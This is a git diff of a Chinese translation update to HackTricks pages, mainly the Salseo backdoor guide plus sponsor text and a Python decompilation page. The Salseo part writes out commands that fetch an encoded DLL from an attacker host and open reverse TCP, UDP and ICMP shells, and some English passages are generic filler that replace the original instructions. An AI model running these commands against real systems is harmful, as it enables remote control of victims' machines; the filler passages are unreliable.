Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 15 KiB |
18
README.md
|
@ -40,7 +40,7 @@ _你的公司也可以在这里。_
|
||||||
|
|
||||||
### [Intigriti](https://www.intigriti.com)
|
### [Intigriti](https://www.intigriti.com)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Intigriti** 是欧洲排名第一的道德黑客和漏洞赏金平台。
|
**Intigriti** 是欧洲排名第一的道德黑客和漏洞赏金平台。
|
||||||
|
|
||||||
|
@ -63,11 +63,11 @@ _你的公司也可以在这里。_
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
在网络安全领域保持领先。
|
在网络安全游戏中保持领先一步。
|
||||||
|
|
||||||
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 让漏洞管理变得简单。跟踪你的攻击面,了解你的公司存在哪些漏洞,并优先处理最容易受到攻击的问题,这样你就可以专注于最重要的事情。
|
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 让漏洞管理变得简单。跟踪你的攻击面,了解你的公司存在哪些漏洞,并优先处理那些最容易暴露你的系统的问题,这样你就可以专注于最重要的事情。
|
||||||
|
|
||||||
使用一个平台运行数千个检查,覆盖你的整个技术栈,包括内部基础设施、Web应用程序、API和云系统。与 [AWS、GCP、Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) 无缝集成,简化DevOps,使你的团队能够更快地实施修复措施。
|
使用一个平台运行数千个检查,涵盖从内部基础设施到 Web 应用程序、API 和云系统的整个技术栈。与 [AWS、GCP、Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) 无缝集成,简化 DevOps,使你的团队能够更快地实施修复措施。
|
||||||
|
|
||||||
Intruder 从不休息。全天候保护监控你的系统。想了解更多?访问他们的网站,并通过[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)来体验一下。
|
Intruder 从不休息。全天候保护监控你的系统。想了解更多?访问他们的网站,并通过[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)来体验一下。
|
||||||
|
|
||||||
|
@ -77,16 +77,16 @@ Intruder 从不休息。全天候保护监控你的系统。想了解更多?
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**HackenProof 是所有加密漏洞赏金的家园。**
|
**HackenProof 是所有加密赏金的家园。**
|
||||||
|
|
||||||
**无需等待即可获得奖励**\
|
**无需等待即可获得奖励**\
|
||||||
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后,您将获得奖励。
|
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
||||||
|
|
||||||
**在 web3 渗透测试中积累经验**\
|
**在 web3 渗透测试中积累经验**\
|
||||||
区块链协议和智能合约是新的互联网!在它崛起的时代掌握 web3 安全。
|
区块链协议和智能合约是新的互联网!在它崛起的日子里掌握 web3 安全。
|
||||||
|
|
||||||
**成为 web3 黑客传奇**\
|
**成为 web3 黑客传奇**\
|
||||||
每次验证的漏洞都会增加声誉积分,征服每周排行榜的顶端。
|
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
|
||||||
|
|
||||||
[**在 HackenProof 上注册**](https://hackenproof.com/register)开始从你的黑客行动中获利!
|
[**在 HackenProof 上注册**](https://hackenproof.com/register)开始从你的黑客行动中获利!
|
||||||
|
|
||||||
|
@ -100,7 +100,7 @@ HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏
|
||||||
|
|
||||||
WebSec 是一家**全方位的安全公司**,他们可以做到所有的事情;渗透测试、安全审计、安全意识培训、钓鱼活动、代码审查、漏洞利用开发、安全专家外包等等。
|
WebSec 是一家**全方位的安全公司**,他们可以做到所有的事情;渗透测试、安全审计、安全意识培训、钓鱼活动、代码审查、漏洞利用开发、安全专家外包等等。
|
||||||
|
|
||||||
WebSec 的另一个很酷的地方是,与行业平均水平不同,WebSec 对自己的技能非常有信心,以至于他们保证提供最优质的结果,他们的网站上写着“**如果我们无法入侵,你就不需要支付费用!**”。想了解更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
WebSec 的另一个很酷的地方是,与行业平均水平不同,WebSec 对自己的技能非常有信心,以至于他们保证提供最优质的结果,他们的网站上写着“**如果我们无法入侵,你就不需要支付费用!**”。想要了解更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||||
|
|
||||||
除了以上内容,WebSec 还是 HackTricks 的**忠实支持者**。
|
除了以上内容,WebSec 还是 HackTricks 的**忠实支持者**。
|
||||||
|
|
||||||
|
|
|
@ -30,7 +30,7 @@
|
||||||
|
|
||||||
## 准备后门
|
## 准备后门
|
||||||
|
|
||||||
首先,你需要对**EvilSalsa.dll**进行编码。你可以使用python脚本**encrypterassembly.py**或者编译项目**EncrypterAssembly**来进行编码:
|
首先,你需要对**EvilSalsa.dll**进行编码。你可以使用python脚本**encrypterassembly.py**或者编译项目**EncrypterAssembly**:
|
||||||
|
|
||||||
### **Python**
|
### **Python**
|
||||||
```
|
```
|
||||||
|
@ -57,35 +57,35 @@ The backdoor is capable of performing various malicious activities, including:
|
||||||
|
|
||||||
4. **File Manipulation**: The backdoor can create, modify, or delete files on the compromised system, giving the attacker the ability to plant additional malware or tamper with existing files.
|
4. **File Manipulation**: The backdoor can create, modify, or delete files on the compromised system, giving the attacker the ability to plant additional malware or tamper with existing files.
|
||||||
|
|
||||||
5. **System Surveillance**: Salseo can gather information about the infected system, such as hardware specifications, installed software, and network configurations. This information can be used to identify potential vulnerabilities or gather intelligence for future attacks.
|
5. **System Surveillance**: Salseo can gather system information, such as installed software, hardware details, and network configurations, providing the attacker with valuable insights for further exploitation.
|
||||||
|
|
||||||
##### Infection Vectors
|
##### Infection Vectors
|
||||||
|
|
||||||
The Salseo backdoor can be delivered through various infection vectors, including:
|
The Salseo backdoor can be delivered through various infection vectors, including:
|
||||||
|
|
||||||
1. **Email Attachments**: Malicious email attachments, such as infected documents or executables, can be used to deliver the backdoor to unsuspecting users.
|
1. **Phishing Emails**: Malicious attachments or links in phishing emails can lead to the installation of the backdoor when clicked or opened.
|
||||||
|
|
||||||
2. **Drive-by Downloads**: Visiting compromised or malicious websites can result in the automatic download and execution of the Salseo backdoor.
|
2. **Drive-by Downloads**: Visiting compromised or malicious websites can trigger the automatic download and execution of the backdoor without the user's knowledge.
|
||||||
|
|
||||||
3. **Exploiting Vulnerabilities**: The backdoor can exploit known vulnerabilities in software or operating systems to gain unauthorized access to a system.
|
3. **Exploit Kits**: Salseo can be delivered through exploit kits that target vulnerabilities in outdated software or plugins, allowing the attacker to gain unauthorized access.
|
||||||
|
|
||||||
4. **Social Engineering**: Attackers may use social engineering techniques, such as phishing emails or fake software updates, to trick users into downloading and executing the backdoor.
|
4. **Malicious Downloads**: Downloading and executing files from untrusted sources can result in the installation of the backdoor.
|
||||||
|
|
||||||
##### Detection and Prevention
|
##### Detection and Prevention
|
||||||
|
|
||||||
Detecting and preventing the Salseo backdoor requires a multi-layered approach, including:
|
To detect and prevent the Salseo backdoor, consider the following measures:
|
||||||
|
|
||||||
1. **Antivirus Software**: Regularly update and use reputable antivirus software to detect and remove known malware, including the Salseo backdoor.
|
1. **Antivirus Software**: Keep your antivirus software up to date and perform regular scans to detect and remove any malware, including the Salseo backdoor.
|
||||||
|
|
||||||
2. **Patch Management**: Keep software and operating systems up to date with the latest security patches to minimize the risk of exploitation.
|
2. **Patch Management**: Ensure that all software and plugins are updated with the latest security patches to mitigate vulnerabilities that could be exploited by the backdoor.
|
||||||
|
|
||||||
3. **User Education**: Train users to recognize and avoid common social engineering techniques, such as phishing emails or suspicious downloads.
|
3. **Email Security**: Implement email security measures, such as spam filters and email authentication protocols, to prevent phishing emails from reaching users' inboxes.
|
||||||
|
|
||||||
4. **Network Monitoring**: Implement network monitoring tools to detect unusual or suspicious network traffic that may indicate the presence of the backdoor.
|
4. **User Education**: Train users to recognize and avoid suspicious emails, links, and downloads to minimize the risk of inadvertently installing the backdoor.
|
||||||
|
|
||||||
5. **Firewall Configuration**: Configure firewalls to restrict unauthorized inbound and outbound network connections, limiting the backdoor's ability to communicate with the remote C2 server.
|
5. **Network Monitoring**: Monitor network traffic for any suspicious communication patterns or connections to known malicious C2 servers associated with the Salseo backdoor.
|
||||||
|
|
||||||
By implementing these measures, organizations can enhance their security posture and reduce the risk of falling victim to the Salseo backdoor.
|
By implementing these security measures, you can enhance the protection of your Windows systems against the Salseo backdoor and other similar threats.
|
||||||
```
|
```
|
||||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||||
|
@ -108,9 +108,9 @@ SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Att
|
||||||
```
|
```
|
||||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||||
```
|
```
|
||||||
### **获取一个ICMP反向shell(已经在受害者内部编码的dll)**
|
### **获取ICMP反向shell(已在受害者内部编码的dll)**
|
||||||
|
|
||||||
**这次你需要在客户端上使用一个特殊的工具来接收反向shell。下载:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
**这次你需要在客户端上使用一个特殊工具来接收反向shell。下载:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||||
|
|
||||||
#### **禁用ICMP回复:**
|
#### **禁用ICMP回复:**
|
||||||
```
|
```
|
||||||
|
@ -121,11 +121,19 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||||
```
|
```
|
||||||
#### 执行客户端:
|
#### 执行客户端:
|
||||||
|
|
||||||
```bash
|
To execute the client, you need to follow these steps:
|
||||||
python client.py
|
|
||||||
```
|
|
||||||
|
|
||||||
The client will establish a connection with the server and wait for commands.
|
1. Make sure you have the client file downloaded and saved on your local machine.
|
||||||
|
|
||||||
|
2. Open a terminal or command prompt.
|
||||||
|
|
||||||
|
3. Navigate to the directory where the client file is located using the `cd` command.
|
||||||
|
|
||||||
|
4. Once you are in the correct directory, run the client file by typing its name followed by the appropriate command. For example, if the client file is named `client.exe`, you would type `client.exe` and press Enter.
|
||||||
|
|
||||||
|
5. The client will then execute and start running on your machine.
|
||||||
|
|
||||||
|
Remember to exercise caution when executing any files, especially those obtained from untrusted sources. Always scan files for malware before running them.
|
||||||
```
|
```
|
||||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||||
```
|
```
|
||||||
|
@ -139,7 +147,7 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||||
|
|
||||||
### 在主函数之前添加:\[DllExport]
|
### 在主函数之前添加:\[DllExport]
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
### 为该项目安装DllExport
|
### 为该项目安装DllExport
|
||||||
|
|
||||||
|
@ -151,9 +159,9 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png>)
|
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
在项目文件夹中出现了文件:**DllExport.bat**和**DllExport\_Configure.bat**
|
在项目文件夹中会出现以下文件:**DllExport.bat**和**DllExport\_Configure.bat**
|
||||||
|
|
||||||
### **卸载** DllExport
|
### **卸载DllExport**
|
||||||
|
|
||||||
点击**卸载**(是的,很奇怪,但相信我,这是必要的)
|
点击**卸载**(是的,很奇怪,但相信我,这是必要的)
|
||||||
|
|
||||||
|
@ -189,7 +197,7 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||||
|
|
||||||
### 测试生成的DLL
|
### 测试生成的DLL
|
||||||
|
|
||||||
将DLL复制并粘贴到要测试的位置。
|
将DLL复制并粘贴到要进行测试的位置。
|
||||||
|
|
||||||
执行:
|
执行:
|
||||||
```
|
```
|
||||||
|
@ -216,9 +224,9 @@ CMD (Command Prompt) is a command-line interpreter in Windows operating systems.
|
||||||
|
|
||||||
CMD is a powerful tool for hackers as it allows them to execute commands and scripts on a target system. By gaining access to CMD, hackers can exploit vulnerabilities, escalate privileges, and gain control over the target system.
|
CMD is a powerful tool for hackers as it allows them to execute commands and scripts on a target system. By gaining access to CMD, hackers can exploit vulnerabilities, escalate privileges, and gain control over the target system.
|
||||||
|
|
||||||
To access CMD, simply open the Start menu, type "cmd" in the search bar, and press Enter. This will open the Command Prompt window, where you can start executing commands.
|
To access CMD, you can open the Start menu, type "cmd" in the search bar, and press Enter. This will open the Command Prompt window, where you can start executing commands.
|
||||||
|
|
||||||
It is important to note that CMD should only be used for legitimate purposes, such as system administration or troubleshooting. Using CMD for malicious activities is illegal and unethical. Always ensure that you have proper authorization before using CMD on a system.
|
It is important to note that CMD should only be used for legitimate purposes, such as system administration or troubleshooting. Using CMD for malicious activities is illegal and unethical.
|
||||||
```
|
```
|
||||||
set pass=password
|
set pass=password
|
||||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||||
|
@ -229,12 +237,12 @@ rundll32.exe SalseoLoader.dll,main
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获取 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram 群组**](https://t.me/peass) 或者 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -5,14 +5,14 @@
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
|
@ -20,7 +20,7 @@
|
||||||
|
|
||||||
## 从编译的二进制文件到.pyc
|
## 从编译的二进制文件到.pyc
|
||||||
|
|
||||||
从一个**ELF**编译的二进制文件中,你可以使用以下方法**获取.pyc文件**:
|
从一个**ELF**编译的二进制文件中,你可以通过以下方式**获取.pyc文件**:
|
||||||
```bash
|
```bash
|
||||||
pyi-archive_viewer <binary>
|
pyi-archive_viewer <binary>
|
||||||
# The list of python modules will be given here:
|
# The list of python modules will be given here:
|
||||||
|
@ -86,7 +86,7 @@ hexdump 'binary.pyc' | head
|
||||||
|
|
||||||
请查看前面的错误文档。
|
请查看前面的错误文档。
|
||||||
|
|
||||||
## 自动化工具
|
## 自动工具
|
||||||
|
|
||||||
该工具[https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker)将几个可用于社区的工具(py2exe和pyinstaller)组合在一起,帮助研究人员解包和反编译用Python编写的可执行文件。
|
该工具[https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker)将几个可用于社区的工具(py2exe和pyinstaller)组合在一起,帮助研究人员解包和反编译用Python编写的可执行文件。
|
||||||
|
|
||||||
|
@ -94,7 +94,7 @@ hexdump 'binary.pyc' | head
|
||||||
|
|
||||||
### ImportError: 文件名:'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' 不存在
|
### ImportError: 文件名:'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' 不存在
|
||||||
|
|
||||||
目前,使用unpy2exe或pyinstxtractor获取的Python字节码文件可能不完整,因此无法被uncompyle6识别以获取纯粹的Python源代码。这是由于缺少Python字节码版本号引起的。因此,我们添加了一个prepend选项;这将在其中包含一个Python字节码版本号,并有助于简化反编译过程。当我们尝试使用uncompyle6来反编译.pyc文件时,会返回一个错误。然而,一旦我们使用prepend选项,我们可以看到Python源代码已经成功反编译。
|
目前,使用unpy2exe或pyinstxtractor获取的Python字节码文件可能不完整,因此无法被uncompyle6识别以获取纯Python源代码。这是由于缺少Python字节码版本号引起的。因此,我们添加了一个prepend选项;这将在其中包含一个Python字节码版本号,并有助于简化反编译过程。当我们尝试使用uncompyle6来反编译.pyc文件时,会返回一个错误。然而,一旦我们使用prepend选项,我们可以看到Python源代码已经成功反编译。
|
||||||
```
|
```
|
||||||
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||||
Traceback (most recent call last):
|
Traceback (most recent call last):
|
||||||
|
@ -112,7 +112,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
||||||
```
|
```
|
||||||
## 分析Python汇编代码
|
## 分析Python汇编代码
|
||||||
|
|
||||||
如果你无法在之前的步骤中提取出Python的“原始”代码,那么你可以尝试提取汇编代码(但它并不是非常描述性的,所以尽量再次提取原始代码)。在[这里](https://bits.theorem.co/protecting-a-python-codebase/),我找到了一个非常简单的代码来反汇编.pyc二进制文件(祝你理解代码流程好运)。如果.pyc文件是Python2的,请使用Python2:
|
如果你无法在之前的步骤中提取出Python的“原始”代码,那么你可以尝试提取汇编代码(但它并不是非常描述性的,所以尽量再次尝试提取原始代码)。在[这里](https://bits.theorem.co/protecting-a-python-codebase/),我找到了一个非常简单的代码来反汇编.pyc二进制文件(祝你理解代码流程好运)。如果.pyc文件是Python2的,请使用Python2:
|
||||||
```bash
|
```bash
|
||||||
>>> import dis
|
>>> import dis
|
||||||
>>> import marshal
|
>>> import marshal
|
||||||
|
@ -211,7 +211,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||||
|
|
||||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||||
|
|
||||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
如果您对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||||
|
|
||||||
|
|
|
@ -7,17 +7,17 @@
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
